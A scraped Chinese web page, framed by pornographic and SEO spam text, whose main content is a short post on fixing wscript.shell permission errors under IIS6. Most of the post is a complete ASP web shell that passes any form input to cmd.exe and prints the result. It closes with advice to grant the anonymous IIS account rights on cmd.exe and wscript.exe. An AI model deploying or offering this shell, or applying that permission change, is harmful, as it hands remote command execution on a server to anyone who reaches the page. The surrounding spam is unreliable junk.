国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 服務器 > Web服務器 > 正文

wscript.shell run 沒有權限解決辦法

2024-09-01 13:43:26
字體:
來源:轉載
供稿:網友
今天在把一個客戶端的命令行程序弄到服務器上面的時候出現了這個問題。后來幾經測試才解決了這個問題。
測試平臺:windows server 2003 sp2 + iis6
測試用的代碼如下:
<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執(zhí)行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
在系統(tǒng)根目錄下面將cmd.exe和wscript.exe給iuser_xxx機器名權限,給當前文件夾讀寫權限。然后重啟IIS就可以了。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 兴海县| 霍林郭勒市| 镇赉县| 宁乡县| 成都市| 富裕县| 娱乐| 光山县| 渭源县| 内江市| 淅川县| 九江县| 楚雄市| 丹凤县| 周口市| 龙井市| 临汾市| 特克斯县| 九江市| 台东县| 固安县| 莲花县| 江陵县| 耿马| 忻州市| 修文县| 阳原县| 白银市| 稷山县| 丰台区| 电白县| 临沂市| 驻马店市| 和林格尔县| 宣武区| 宁晋县| 茂名市| 澜沧| 澜沧| 阜康市| 昌图县|